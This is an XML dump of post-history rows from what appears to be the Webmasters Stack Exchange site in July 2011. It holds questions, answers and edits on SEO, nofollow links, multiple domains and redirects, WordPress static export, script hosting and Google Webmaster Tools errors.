  <row Id="41081" PostHistoryTypeId="1" PostId="17113" RevisionGUID="d7587972-30c4-4594-bc6b-16a2f9526449" CreationDate="2011-07-20T10:07:39.060" UserId="1381" Text="Shop owner wants multiple domains, what do I to tell him?" />
  <row Id="41082" PostHistoryTypeId="3" PostId="17113" RevisionGUID="d7587972-30c4-4594-bc6b-16a2f9526449" CreationDate="2011-07-20T10:07:39.060" UserId="1381" Text="&lt;seo&gt;&lt;redirects&gt;&lt;multiple-domains&gt;" />
  <row Id="41086" PostHistoryTypeId="2" PostId="17115" RevisionGUID="1534a5e1-3346-42b8-889c-f03433b7f71d" CreationDate="2011-07-20T10:21:31.170" UserId="7857" Text="In Today's market many shopping carts are available on the web. Which is the cheap and best? Should have a long run? " />
  <row Id="41087" PostHistoryTypeId="1" PostId="17115" RevisionGUID="1534a5e1-3346-42b8-889c-f03433b7f71d" CreationDate="2011-07-20T10:21:31.170" UserId="7857" Text="Online Shopping Cart Solutions" />
  <row Id="41088" PostHistoryTypeId="3" PostId="17115" RevisionGUID="1534a5e1-3346-42b8-889c-f03433b7f71d" CreationDate="2011-07-20T10:21:31.170" UserId="7857" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;ecommerce&gt;&lt;development&gt;&lt;website-development&gt;" />
  <row Id="41089" PostHistoryTypeId="2" PostId="17116" RevisionGUID="770f91ed-eee5-4bc5-86e7-aaf959d52025" CreationDate="2011-07-20T10:41:52.870" UserId="1381" Text="We are using rackspace London v-servers for some time now, but it was not possible to migrate images, which is somehow disappointing.&#xD;&#xA;&#xD;&#xA;You cannot restore a VM from a backup of a different VM, only from the same VM, even on the same server farm. (Because of some checksum / code that must be identical and you cannot control it)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41090" PostHistoryTypeId="2" PostId="17117" RevisionGUID="a28c332e-ea10-4c56-a932-d812e9454f93" CreationDate="2011-07-20T10:53:25.677" UserId="5727" Text="Forgive me for asking such a simple question, I understand why  you would want to rel nofollow untrusted links (forum posts, blog comments etc), but why would you not want to do it on EVERY link on your website?&#xD;&#xA;&#xD;&#xA;I know it's greedy and perhaps unethical, but if I write a blog post and link to an interesting website within that post, am I losing out in any way by not rel nofollowing it?  Is my juice leaking?" />
  <row Id="41091" PostHistoryTypeId="1" PostId="17117" RevisionGUID="a28c332e-ea10-4c56-a932-d812e9454f93" CreationDate="2011-07-20T10:53:25.677" UserId="5727" Text="Rel no follow on EVERY link?" />
  <row Id="41092" PostHistoryTypeId="3" PostId="17117" RevisionGUID="a28c332e-ea10-4c56-a932-d812e9454f93" CreationDate="2011-07-20T10:53:25.677" UserId="5727" Text="&lt;links&gt;&lt;nofollow&gt;&lt;rel&gt;" />
  <row Id="41093" PostHistoryTypeId="2" PostId="17118" RevisionGUID="f8913158-b235-45c6-b683-bd8c92bef220" CreationDate="2011-07-20T10:55:33.057" UserId="8104" Text="I want to export a wordpress site with themes and images to html format like we can do in blogspot. Is there a plugin or a tool for the same." />
  <row Id="41094" PostHistoryTypeId="1" PostId="17118" RevisionGUID="f8913158-b235-45c6-b683-bd8c92bef220" CreationDate="2011-07-20T10:55:33.057" UserId="8104" Text="Can i export a wordpress site to html?" />
  <row Id="41095" PostHistoryTypeId="3" PostId="17118" RevisionGUID="f8913158-b235-45c6-b683-bd8c92bef220" CreationDate="2011-07-20T10:55:33.057" UserId="8104" Text="&lt;html&gt;&lt;wordpress&gt;&lt;blogger&gt;" />
  <row Id="41096" PostHistoryTypeId="5" PostId="17109" RevisionGUID="8387b388-00de-4902-b11d-f6f5028d2528" CreationDate="2011-07-20T11:17:47.747" UserId="8354" Comment="improved formatting, some basic spelling" Text="I am working on SeoWebPart which shows your page score. I find all the thing which are useful in SEO calculation like&#xD;&#xA;&#xD;&#xA;1. Count Word in h1 tag&#xD;&#xA;2. Count Word in h2 tag&#xD;&#xA;3. Count Word in Title tag&#xD;&#xA;4. Count Word in p tag&#xD;&#xA;5. Total Word in Page&#xD;&#xA;6. Count Word in anchor tag&#xD;&#xA;&#xD;&#xA;Please suggest me a formula using which I can show you some score on page.&#xD;&#xA;&#xD;&#xA;I use this formula now but it's not good:&#xD;&#xA;&#xD;&#xA;    score = ([key word count]) * 100 / (total word count)&#xD;&#xA;&#xD;&#xA;I found some SEOPressor if you know then tell me how they calculate their rank." />
  <row Id="41097" PostHistoryTypeId="24" PostId="17109" RevisionGUID="8387b388-00de-4902-b11d-f6f5028d2528" CreationDate="2011-07-20T11:17:47.747" Comment="Proposed by 8354 approved by 108 edit id of 444" />
  <row Id="41099" PostHistoryTypeId="16" PostId="17115" RevisionGUID="8ec2c73a-3a76-496a-b242-be673ccbbef2" CreationDate="2011-07-20T11:21:49.663" UserId="108" />
  <row Id="41103" PostHistoryTypeId="2" PostId="17119" RevisionGUID="20df2189-dfa5-42e8-8f3b-e917c458fa13" CreationDate="2011-07-20T11:31:09.233" UserId="1253" Text="According to Matt Cutts links to quality external sites is part of Google's algorithm. &#xD;&#xA;&#xD;&#xA;Not to mention, if every site did this imagine what the state of search engines would be like? Quality of search results would suffer tremendously. Be a good webmaster and help the search engines do a better job." />
  <row Id="41104" PostHistoryTypeId="2" PostId="17120" RevisionGUID="78b1150d-0d0c-40a8-b5c1-a7af3af8f9ce" CreationDate="2011-07-20T11:35:22.570" UserId="1253" Text="Just use a [website scrapper][1] to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=website%20scraper#sclient=psy&amp;hl=en&amp;safe=off&amp;biw=1280&amp;bih=709&amp;source=hp&amp;q=website%20scraping%20software&amp;pbx=1&amp;oq=website%20scraping%20software&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=e&amp;gs_upl=4609l6971l0l7171l14l8l0l0l0l0l199l199l0.1l1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=68b2c9f6e06f422c" />
  <row Id="41105" PostHistoryTypeId="5" PostId="17115" RevisionGUID="23f9168f-4eba-4d7a-b478-c53efbb8732b" CreationDate="2011-07-20T11:36:31.790" UserId="1253" Comment="modified tags, minor text edits" Text="In Today's market many shopping carts are available on the web. Which is the cheap and best? " />
  <row Id="41106" PostHistoryTypeId="6" PostId="17115" RevisionGUID="23f9168f-4eba-4d7a-b478-c53efbb8732b" CreationDate="2011-07-20T11:36:31.790" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="41107" PostHistoryTypeId="2" PostId="17121" RevisionGUID="15d508bc-1331-457f-ac7d-441abc6c107f" CreationDate="2011-07-20T11:36:37.033" UserId="108" Text="The answer is you should allow links that are trusted to not have the rel no follow tag.  There are a couple of reasons:&#xD;&#xA;&#xD;&#xA; 1. Your link juice is always divided between all the links on your page including, the links with the rel no follow tag. The link juice just isn't sent to through the links to the external sites with the no follow tags.  The point of rel no follow is to help Google which in the end helps you.&#xD;&#xA; 2. Google does not penalize you for using all no follow links.  See the [video by Matt Cutts][1] from 2011 about it.  That being said, having quality external links does play into Google's algorithm, you just won't be negatively effected by not having any.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=mg1A5wF3Ac4" />
  <row Id="41109" PostHistoryTypeId="5" PostId="17109" RevisionGUID="d79422cd-9396-4978-a1f6-18947c8d1754" CreationDate="2011-07-20T11:39:45.350" UserId="108" Comment="deleted 84 characters in body" Text="I am using SeoWebPart which has its own page score. I find many of the things which are useful in SEO calculation like&#xD;&#xA;&#xD;&#xA;1. Count Word in h1 tag&#xD;&#xA;2. Count Word in h2 tag&#xD;&#xA;3. Count Word in Title tag&#xD;&#xA;4. Count Word in p tag&#xD;&#xA;5. Total Word in Page&#xD;&#xA;6. Count Word in anchor tag&#xD;&#xA;&#xD;&#xA;Please suggest a formula which I can use to show you a score for a page.&#xD;&#xA;&#xD;&#xA;I use this formula now but it's not good:&#xD;&#xA;&#xD;&#xA;    score = ([key word count]) * 100 / (total word count)" />
  <row Id="41110" PostHistoryTypeId="2" PostId="17122" RevisionGUID="03a72c16-4996-45a4-8a32-3474411fe1e1" CreationDate="2011-07-20T11:40:10.553" UserId="1253" Text="&gt; He somehow has the idea that more domains (pointing to the original&#xD;&#xA;&gt; webshop) bring more traffic and better ranking.&#xD;&#xA;&#xD;&#xA;[He's wrong.][1]&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1) Would it be okay to have the same domain with other TLD endings&#xD;&#xA;&gt; (because I have seen many companies do this)&#xD;&#xA;&#xD;&#xA;Sure. Lots of companies do this.&#xD;&#xA;&#xD;&#xA;&gt; 2) Apart from that, is there a way to have shoe-shop.xyz and&#xD;&#xA;&gt; beautiful-shoes-shop.xyz and others showing the exactly same content&#xD;&#xA;&gt; and site as exampleshop.it and not be punished? (different 2nd level&#xD;&#xA;&gt; domain name)&#xD;&#xA;&#xD;&#xA;If the language used in each site is different then you do not need to do anything. If the language used is the same then you should canonical URLs to tell Google which one is the &quot;main&quot; site and to index that one and consider the other pages duplicates. This does transfer link juice much like a 301 redirect does.&#xD;&#xA;&#xD;&#xA;&gt; 3) If the one or the other is possible, then how to do it tecnically&#xD;&#xA;&gt; (redirects? http code?) to have the best SEO effects?&#xD;&#xA;&#xD;&#xA;Canonical URLs should work fine. But if you do not wish to have so many domains using one language then use 301 redirects to forward users to the main domain for that language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this/3778#3778" />
  <row Id="41111" PostHistoryTypeId="2" PostId="17123" RevisionGUID="00f8fb81-543c-4526-a200-0b29929d3a10" CreationDate="2011-07-20T11:51:35.920" UserId="108" Text="There is no simple formula.  As @paulmorriss said in the comments there are over 200 factors Google looks at and some of those factors have additional factors within them.  &#xD;&#xA;&#xD;&#xA;Some sites like www.seomoz.org have created their own algorithm in order to attempt to get close to Google and allow them to gain a competitive edge.  In their case, they look at well over two dozen factors, many of which are external to the site itself.  The amount SEO value you can tell by looking at a specific page is very small (most likely less than 30%).  In order to get a more accurate SEO Score you have to look at a number of things external to that page.  Here are a few:&#xD;&#xA;&#xD;&#xA; 1. Age of the domain.&#xD;&#xA; 2. Number of inbound links to the page&#xD;&#xA; 3. Number of Twitter, Google+, and Facebook links (this is separate because these links have the no follow tag on them)&#xD;&#xA; 4. Number of Likes from Facebook and number +1's from Google+&#xD;&#xA; 5. The quality of the inbound links to the page.  Meaning what site has the link on it and does it rank well in Google.&#xD;&#xA;&#xD;&#xA;The point is you may be able to create a quality score internal to the page but it will not have much bearing or be relationship to Google's scoring.  &#xD;&#xA;&#xD;&#xA;The best you can hope for and probably the direction you should go is to give each page an SEO score for a specific keyword.  The score would be on a linear scale (e.g. 1 to 100).  You would give 20 points for having an exact phrase match in the URL, 20 for exact Title match, 10 for exact H1 match, 5 for each header tag 2 through 5, etc.  That kind of score can be used to help people realize what they are missing from their webpage in relation to SEO even without telling them &quot;If you get a score of 100 on my scoring system you will rank well in Google&quot; which you won't ever really be able to do.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41112" PostHistoryTypeId="17" PostId="17124" RevisionGUID="f926d6eb-bea0-4321-87a6-38b3f010085f" CreationDate="2011-07-20T11:52:40.640" UserId="-1" Comment="from http://stackoverflow.com/questions/6735368/where-can-i-host-run-periodically-a-ruby-script-for-free" Text="" />
  <row Id="41113" PostHistoryTypeId="17" PostId="17125" RevisionGUID="8ec4f291-e9ed-44d6-9fc9-d2eba6e87348" CreationDate="2011-07-20T11:52:40.640" UserId="-1" Comment="from http://stackoverflow.com/questions/6735368/where-can-i-host-run-periodically-a-ruby-script-for-free" Text="" />
  <row Id="41114" PostHistoryTypeId="2" PostId="17125" RevisionGUID="63b50567-aa62-48a8-8e62-2b5a9838210d" CreationDate="2011-07-18T16:41:01.483" UserDisplayName="seph" Text="Depending on what your requirements are, [Heroku][1] is free. You would need to run the code in the context of a rails app though. Looks like [daily cron][2] is free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heroku.com&#xD;&#xA;  [2]: http://addons.heroku.com/cron" />
  <row Id="41115" PostHistoryTypeId="2" PostId="17124" RevisionGUID="275ac64b-3d4b-4f47-b2b3-eb9833ea2c99" CreationDate="2011-07-18T15:30:51.257" UserDisplayName="0al0" Text="I need a ruby script I wrote to run periodically (everyday) but I dont want to run it on my computer, depending on it being on, etc...&#xD;&#xA;&#xD;&#xA;Does anyone know of a free, or very cheap, hosting service that would allow me to do this? I dont need to host any front end or anything, just the script." />
  <row Id="41116" PostHistoryTypeId="1" PostId="17124" RevisionGUID="275ac64b-3d4b-4f47-b2b3-eb9833ea2c99" CreationDate="2011-07-18T15:30:51.257" UserDisplayName="0al0" Text="Where can I host / run periodically a ruby script for free ?" />
  <row Id="41117" PostHistoryTypeId="3" PostId="17124" RevisionGUID="275ac64b-3d4b-4f47-b2b3-eb9833ea2c99" CreationDate="2011-07-18T15:30:51.257" UserDisplayName="0al0" Text="&lt;web-hosting&gt;" />
  <row Id="41118" PostHistoryTypeId="6" PostId="17124" RevisionGUID="f9e22a99-6361-4d51-bc41-8699c6a18e7f" CreationDate="2011-07-20T11:53:57.833" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="41119" PostHistoryTypeId="5" PostId="17124" RevisionGUID="b13e5340-eb11-4fef-94ed-70c7477bc364" CreationDate="2011-07-20T11:54:56.303" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Web hosting options for Ruby on Rails applications](http://webmasters.stackexchange.com/questions/8129/web-hosting-options-for-ruby-on-rails-applications)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I need a ruby script I wrote to run periodically (everyday) but I dont want to run it on my computer, depending on it being on, etc...&#xD;&#xA;&#xD;&#xA;Does anyone know of a free, or very cheap, hosting service that would allow me to do this? I dont need to host any front end or anything, just the script." />
  <row Id="41120" PostHistoryTypeId="10" PostId="17124" RevisionGUID="2fd2366b-d3a6-4970-8e5b-8255f5c84a89" CreationDate="2011-07-20T11:54:55.897" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41121" PostHistoryTypeId="17" PostId="17126" RevisionGUID="c41c99bd-2754-49ae-9515-a5f88863d66b" CreationDate="2011-07-20T11:59:08.153" UserId="-1" Comment="from http://stackoverflow.com/questions/6757148/domain-masking-cloaking" Text="" />
  <row Id="41122" PostHistoryTypeId="17" PostId="17127" RevisionGUID="a36e7fc3-3983-45b1-9548-0b02453cb5d1" CreationDate="2011-07-20T11:59:08.153" UserId="-1" Comment="from http://stackoverflow.com/questions/6757148/domain-masking-cloaking" Text="" />
  <row Id="41123" PostHistoryTypeId="2" PostId="17127" RevisionGUID="d6f233af-f63d-4582-b81a-7942988f376a" CreationDate="2011-07-20T11:45:08.333" UserId="1253" Text="This will hurt your SEO as you will run into duplicate content issues. If you do this you need to use [canonical URLs][1] to tell Google which site is the main site you want to see listed in their search engines. It also acts like a 301 redirect so links to the secondary domain count towards its counterpart on the primary domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="41124" PostHistoryTypeId="2" PostId="17126" RevisionGUID="85d812b9-155c-4bdb-8d47-8331aa1bec29" CreationDate="2011-07-20T04:50:47.233" UserDisplayName="Nimbuz" Text="I don't know whats the correct term for it, but what I'd like is to forward users visiting domain1.com to domain2.com without changing the url in their address bar at all, ie. show contents from domain2 but without showing domain2.com in the address bar.&#xD;&#xA;&#xD;&#xA;So for example:&#xD;&#xA;&#xD;&#xA;User visits: http://domain1.com/path/to/internal/link/&#xD;&#xA;Should be redirected to: http://domain2.com/path/to/internal/link/&#xD;&#xA;&#xD;&#xA;Additionally, all links (`&lt;a&gt;` tags) on domain2.com should be shown as domain1.com in the statusbar and addressbar.&#xD;&#xA;&#xD;&#xA;It is possible without using iframes or other dirty hacks that might hurt SEO?&#xD;&#xA;&#xD;&#xA;Many thanks!" />
  <row Id="41125" PostHistoryTypeId="1" PostId="17126" RevisionGUID="85d812b9-155c-4bdb-8d47-8331aa1bec29" CreationDate="2011-07-20T04:50:47.233" UserDisplayName="Nimbuz" Text="Domain Masking / Cloaking ?" />
  <row Id="41126" PostHistoryTypeId="3" PostId="17126" RevisionGUID="85d812b9-155c-4bdb-8d47-8331aa1bec29" CreationDate="2011-07-20T04:50:47.233" UserDisplayName="Nimbuz" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="41127" PostHistoryTypeId="5" PostId="17120" RevisionGUID="97dfe5ce-7af0-429c-af98-11f76a73989d" CreationDate="2011-07-20T12:00:07.430" UserId="1643" Comment="deleted 1 characters in body" Text="Just use a [website scraper][1] to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=website%20scraper#sclient=psy&amp;hl=en&amp;safe=off&amp;biw=1280&amp;bih=709&amp;source=hp&amp;q=website%20scraping%20software&amp;pbx=1&amp;oq=website%20scraping%20software&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=e&amp;gs_upl=4609l6971l0l7171l14l8l0l0l0l0l199l199l0.1l1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=68b2c9f6e06f422c" />
  <row Id="41128" PostHistoryTypeId="2" PostId="17128" RevisionGUID="e611bf7b-837b-4b16-a95a-9238c8dbc863" CreationDate="2011-07-20T12:17:13.813" UserId="8222" Text="Please go to disqus.com and re add your blog using the **Add to blogger** button .&#xD;&#xA;Please post the url of the blog also " />
  <row Id="41129" PostHistoryTypeId="2" PostId="17129" RevisionGUID="bbbd5e96-eb5c-46ff-95b9-cc5fa349c60a" CreationDate="2011-07-20T12:29:34.203" UserId="7617" Text="Probably http://www.HTTrack.com/ is the right tool for you:&#xD;&#xA;It is an easy-to-use offline browser utility and allows you to download websites &quot;to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer&quot;." />
  <row Id="41130" PostHistoryTypeId="25" PostId="17117" RevisionGUID="c95a0e2b-804d-4fe8-9f10-edf6b2873b1d" CreationDate="2011-07-20T12:31:47.400" Comment="http://twitter.com/#!/StackWebmasters/status/93659365491490816" />
  <row Id="41131" PostHistoryTypeId="2" PostId="17130" RevisionGUID="8bae6768-7d96-4430-a9fa-9a3be2b7402b" CreationDate="2011-07-20T13:17:57.767" UserId="1131" Text="Perhaps something like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -s&#xD;&#xA;    RewriteCond %{REQUEST_URI} \.php[s0-9]*$ [NC]&#xD;&#xA;    RewriteRule .* /mapper.php?uri=%{REQUEST_URI} [L,QSA]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -s&#xD;&#xA;    RewriteCond %{REQUEST_URI} !\.[^/]+$ [NC]&#xD;&#xA;    RewriteRule .* /mapper.php?uri=%{REQUEST_URI} [L,QSA]" />
  <row Id="41132" PostHistoryTypeId="2" PostId="17131" RevisionGUID="9eb4b774-b77d-466c-9070-b4fee9d8811a" CreationDate="2011-07-20T13:28:35.653" UserId="1953" Text="I'd use wget. It has a lot of flexibility, but is all done with one easy command. If you're on windows you'll probably have to install it first." />
  <row Id="41133" PostHistoryTypeId="2" PostId="17132" RevisionGUID="ea94b116-9195-4532-88db-2166caf6ac14" CreationDate="2011-07-20T14:02:48.933" UserId="6033" Text="When the the outbound link is to a site that doesn't compete in my industry or topic of interest, then there should be no worry about sending link juice to that site. Just avoid linking to your competition in the SERPs." />
  <row Id="41134" PostHistoryTypeId="2" PostId="17133" RevisionGUID="fab44073-9bde-4c30-b1ac-665b85992cb8" CreationDate="2011-07-20T14:27:17.017" UserId="8687" Text="If you client wants more domains, and you are in the business of selling domains or maintaining the site, then you should sell him more domain. There are some instances where it is suitable. For example my customers, in the UK, often ask for both the .com and .co.uk version of their name so that users don't accidentally go to one when they should be on the other. Also if you want to protect a brand name or trademark you should register all possible TLDs for that domain. Big first like google and yahoo do this even if they don't use that other TLD for any real site. Also you should look at registering common misspellings of the name. Especially if the name is difficult to spell. If the name is made of double words, you might register both exampleshop.com and example-shop.com.&#xD;&#xA;&#xD;&#xA;So there are several practical reasons for registering multiple domains which may get you some addition traffic. It will also get you some extra $ on the bill for setting it up for him so why tell him no.&#xD;&#xA;&#xD;&#xA;1. On your first point, there no problem with having multiple domains as long as you do it the right way. The best way is to use a 301 redirect on the additional domain names to redirect to the main domain name. This will also mean that not only users but search engines like google will recognise the main and secondary names correctly.&#xD;&#xA;&#xD;&#xA;2. As long as it's a 301 redirect you won't be punished for duplication. The same content will show up no matter what the domain that is typed in but the search engines will only list the main domain.&#xD;&#xA;&#xD;&#xA;3. The same again, just a 301 redirect. Park the domains one on top of the other and put a 301 redirect in your .htaccess file." />
  <row Id="41135" PostHistoryTypeId="2" PostId="17134" RevisionGUID="725e05cf-afab-4f5f-a8de-da252c603ca3" CreationDate="2011-07-20T14:55:52.417" UserId="8687" Text="The actual name of a domain name has only minor significance in SEO. The other website is probably showing ahead of you for other reasons such as the number, and quality, of other websites linking to their website. You say you have 30 backlinks, that's not really a huge number, plus are all those 30 backlinks indexed by google? Additionally, 1 backlink from an important website is worth more than 30 links form low ranking sites." />
  <row Id="41136" PostHistoryTypeId="2" PostId="17135" RevisionGUID="dd961371-fcc1-406c-8615-b96d15f5fe90" CreationDate="2011-07-20T15:06:02.800" UserId="4502" Text="The &lt;a href=&quot;http://wordpress.org/extend/plugins/static-html-output-plugin/&quot;&gt;WP Static HTML Output&lt;/a&gt; plugin will do this." />
  <row Id="41137" PostHistoryTypeId="25" PostId="17118" RevisionGUID="b4daa26a-4f07-4ff6-bcb7-60239b56126c" CreationDate="2011-07-20T15:31:47.673" Comment="http://twitter.com/#!/StackWebmasters/status/93704663785938944" />
  <row Id="41138" PostHistoryTypeId="5" PostId="15082" RevisionGUID="120e9ef4-5972-4bb6-893f-b0caa6d14273" CreationDate="2011-07-20T15:48:36.620" UserId="4502" Comment="Added missing KB link" Text="I decided to transition from IntenseDebate to Disqus for the blog. So I uninstalled ID via their uninstall process (you upload the template to them, they remove code, you reupload your new template onto the site). &#xD;&#xA;&#xD;&#xA;Then I went to install Disqus into the site through their Blogger widget method. The problem is that there is no comment form present on any of the blog posts' pages. For example, when you click on the 'Comments' link it jumps to #disqus-thread but there is no thread there.&#xD;&#xA;&#xD;&#xA;So is there any fix that I can do in order to make the comment form appear? I checked Disqus' [knowledgebase for Blogger installation](http://disqus.com/admin/blogger/) but as far as I can tell my template should be compatible.&#xD;&#xA;" />
  <row Id="41139" PostHistoryTypeId="6" PostId="15082" RevisionGUID="120e9ef4-5972-4bb6-893f-b0caa6d14273" CreationDate="2011-07-20T15:48:36.620" UserId="4502" Comment="Added missing KB link" Text="&lt;blogger&gt;&lt;comments&gt;" />
  <row Id="41140" PostHistoryTypeId="17" PostId="17136" RevisionGUID="b23694fe-7227-4cf6-859b-be0f1a333476" CreationDate="2011-07-20T15:54:07.317" UserId="-1" Comment="from http://stackoverflow.com/questions/6744290/how-enable-xslt-extension-for-php-5" Text="" />
  <row Id="41141" PostHistoryTypeId="2" PostId="17136" RevisionGUID="26d4ec6b-0553-4441-9402-e6579d06ca5a" CreationDate="2011-07-19T08:27:04.923" UserDisplayName="vikasvijay07" Text="how to get PHP’s LibXML module, with the XSLT extension enabled (—with-xsl)&#xD;&#xA;&#xD;&#xA;what are the steps invloved in installing XLST and from where i can download it.&#xD;&#xA;" />
  <row Id="41142" PostHistoryTypeId="1" PostId="17136" RevisionGUID="26d4ec6b-0553-4441-9402-e6579d06ca5a" CreationDate="2011-07-19T08:27:04.923" UserDisplayName="vikasvijay07" Text="how enable xslt extension for PHP 5" />
  <row Id="41143" PostHistoryTypeId="3" PostId="17136" RevisionGUID="26d4ec6b-0553-4441-9402-e6579d06ca5a" CreationDate="2011-07-19T08:27:04.923" UserDisplayName="vikasvijay07" Text="&lt;untagged&gt;" />
  <row Id="41144" PostHistoryTypeId="2" PostId="17137" RevisionGUID="37ab6cf5-a623-4969-a601-718920159071" CreationDate="2011-07-20T16:01:59.540" UserId="9078" Text="I've been working for two months now on improving our response time (mainly server side) on a new forum (a brand new product on a technical point of view) we've launched in Germany a few month ago and I'm a lot surprised by the results I get. I monitor our response time using Apache logs and our own implementation of [Boomerang][1] beacon.&#xD;&#xA;&#xD;&#xA;Using my stats, I can see that our new product responds in about 680 ms where our old product was responding in about 1050 ms. On the other side, Google Webmaster Tool tells us that  our pages have an average reponse time of about 1500 ms today where it was 700 three months ago with our old product.&#xD;&#xA;I've figured that GWT was taking client side metrics into account so I've added some measures on our Boomerang beacon and everything looks just fine. I've also ran some random pages on ySlow and Google's Page Speed and everything looks better than it was before. We event have a 82% on Google's Page Speed tool whihc is quite cool for a site with some ads in it :)&#xD;&#xA;&#xD;&#xA;Lately, we have signed a deal with Akamai to use two of their products : CDN for our static files (we were using another CDN before but it wasn't very effective) and RMA to improve Networks routes. We have also introduced a new agressive cache mecanism to ensure that most of the pages served to crawlers are cached by our memcache grid.&#xD;&#xA;After checking my metrics, it seems that this changes have improved from 650ms to about 500ms, which is good (still not great but it is definitly an improvement). But GWT continues to report an increasing average response time where we see it decreasing in the same time.&#xD;&#xA;&#xD;&#xA;Have you ever had the same kind of wierd behavior on your sites while doing performance improvements ? Do you have any idea how to monitor the same thing Google does in GWT so that we could improve our site and constantly check if it is what Google wants ?&#xD;&#xA;&#xD;&#xA;  [1]: http://yahoo.github.com/boomerang/doc/" />
  <row Id="41145" PostHistoryTypeId="1" PostId="17137" RevisionGUID="37ab6cf5-a623-4969-a601-718920159071" CreationDate="2011-07-20T16:01:59.540" UserId="9078" Text="Performance improvements and Google Webmaster Tool" />
  <row Id="41146" PostHistoryTypeId="3" PostId="17137" RevisionGUID="37ab6cf5-a623-4969-a601-718920159071" CreationDate="2011-07-20T16:01:59.540" UserId="9078" Text="&lt;google-webmaster-tools&gt;&lt;performance&gt;" />
  <row Id="41147" PostHistoryTypeId="2" PostId="17138" RevisionGUID="b28038fa-068f-4a19-848c-ede963961f90" CreationDate="2011-07-20T16:48:31.250" UserId="9080" Text="Good day,&#xD;&#xA;&#xD;&#xA;I'm currently finding out why I have lost all of my website's rank in google.&#xD;&#xA;I don't even appear in google results by the domain. But other sites do link me and they appear in the google results. &#xD;&#xA;&#xD;&#xA;I think it's all about leaving my site two months alone and finding out I had 20k in comment spam, which I completely deleted and fixed with filters and adding a new Disqus comment service.&#xD;&#xA;&#xD;&#xA;Thing is, I added my site to Google Webmaster Tools and I'm finding out several awful things. For example, when I click in Google Fetch As GoogleBot. I receive this error message below in response to my request. And I don't even know what's the real problem and how to fix it. I simply don't get it. This is what appears:&#xD;&#xA;&#xD;&#xA;&gt; Date: Wednesday, July 20, 2011 9:43:35 AM PDT&#xD;&#xA;&gt; &#xD;&#xA;&gt; Googlebot Type: Web&#xD;&#xA;&gt; &#xD;&#xA;&gt; Download Time (in milliseconds): 55&#xD;&#xA;&gt; &#xD;&#xA;&gt; HTTP/1.1 403 Forbidden Date: Wed, 20 Jul 2011 16:43:36 GMT Server:&#xD;&#xA;&gt; Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length:&#xD;&#xA;&gt; 248 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive&#xD;&#xA;&gt; Content-Type: text/html; charset=iso-8859-1&#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt; &lt;html&gt;&lt;head&gt;&#xD;&#xA;&gt; &lt;title&gt;403 Forbidden&lt;/title&gt; &lt;/head&gt;&lt;body&gt; &lt;h1&gt;Forbidden&lt;/h1&gt; &lt;p&gt;You&#xD;&#xA;&gt; don't have permission to access / on this server.&lt;/p&gt; &lt;p&gt;Additionally,&#xD;&#xA;&gt; a 403 Forbidden error was encountered while trying to use an&#xD;&#xA;&gt; ErrorDocument to handle the request.&lt;/p&gt; &lt;/body&gt;&lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Do you guys know anything about this problem ? I need to have Google crawl my site again. I used to have a really nice google result in the past three years. Now, there's nothing. &#xD;&#xA;&#xD;&#xA;thanks,&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41148" PostHistoryTypeId="1" PostId="17138" RevisionGUID="b28038fa-068f-4a19-848c-ede963961f90" CreationDate="2011-07-20T16:48:31.250" UserId="9080" Text="How to Fix this specific Google &quot;Fetch as Googlebot&quot; error appearing on my Webmaster Tools ?" />
  <row Id="41149" PostHistoryTypeId="3" PostId="17138" RevisionGUID="b28038fa-068f-4a19-848c-ede963961f90" CreationDate="2011-07-20T16:48:31.250" UserId="9080" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="41150" PostHistoryTypeId="2" PostId="17139" RevisionGUID="f0a7f1cc-5660-44d1-b2cf-e0ad949b0959" CreationDate="2011-07-20T17:04:23.583" UserId="1253" Text="Install the [user agent switcher extension](https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/) for Firefox and create a [user agent for Googlebot](http://www.useragentstring.com/pages/Googlebot/). Then view your site and see what happens. If you get the above error then your site is configured wrong somewhere. If you don't then the issue lies with Google and you should go to [their forums](http://www.google.com/support/forum/) for support." />
